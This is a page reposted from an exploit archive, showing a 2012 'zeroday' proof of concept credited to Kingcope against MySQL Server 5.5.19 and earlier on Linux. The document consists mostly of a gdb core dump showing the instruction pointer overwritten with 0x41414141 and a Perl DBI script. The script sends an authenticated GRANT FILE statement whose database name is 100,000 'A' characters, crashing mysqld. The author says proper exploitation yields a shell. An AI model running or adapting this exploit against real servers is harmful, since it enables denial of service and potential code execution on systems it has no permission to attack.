首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MySQL (Linux) Stack Based Buffer Overrun PoC Zeroday
来源:vfocus.net 作者:Kingcope 发布时间:2012-12-03  

#!/usr/bin/perl
=for comment

 MySQL Server exploitable stack based overrun
 Ver 5.5.19-log for Linux and below (tested with Ver 5.1.53-log for suse-linux-gnu too)
 unprivileged user (any account (anonymous account?), post auth)
 as illustrated below the instruction pointer is overwritten with 0x41414141
 bug found by Kingcope
 this will yield a shell as the user 'mysql' when properly exploited
 
mysql@linux-lsd2:/root> gdb -c /var/lib/mysql/core
GNU gdb (GDB) SUSE (7.2-3.3)
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i586-suse-linux".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Missing separate debuginfo for the main executable file
Try: zypper install -C "debuginfo(build-id)=768fdbea8f1bf1f7cfb34c7f532f7dd0bdd76803"
[New Thread 8801]
[New Thread 8789]
[New Thread 8793]
[New Thread 8791]
[New Thread 8787]
[New Thread 8790]
[New Thread 8799]
[New Thread 8794]
[New Thread 8792]
[New Thread 8788]
[New Thread 8800]
[New Thread 8786]
[New Thread 8797]
[New Thread 8798]
[New Thread 8785]
[New Thread 8796]
[New Thread 8783]
Core was generated by `/usr/local/mysql/bin/mysqld --log=/tmp/mysqld.log'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb)
=cut

  use strict;
  use DBI();

  # Connect to the database.
  my $dbh = DBI->connect("DBI:mysql:database=test;host=192.168.2.3;",
                         "user", "secret",
                         {'RaiseError' => 1});

  $a ="A" x 100000;
  my $sth = $dbh->prepare("grant file on $a.* to 'user'\@'%' identified by 'secret';");
  $sth->execute();
 
  # Disconnect from the database.
  $dbh->disconnect();


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·IBM System Director Remote Sys
·MySQL (Linux) Heap Based Overr
·Android 4.0.3 <= Browser Remot
·MySQL (Linux) Database Privile
·Free WMA to MP3 converter v1.6
·MySQL Denial of Service Zeroda
·Windows AlwaysInstallElevated
·FreeFTPD Remote Authentication
·Network Shutdown Module <= 3.2
·FreeSSHD Remote Authentication
·UMPlayer Portable 0.95 Crash P
·MySQL Remote Preauth User Enum
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved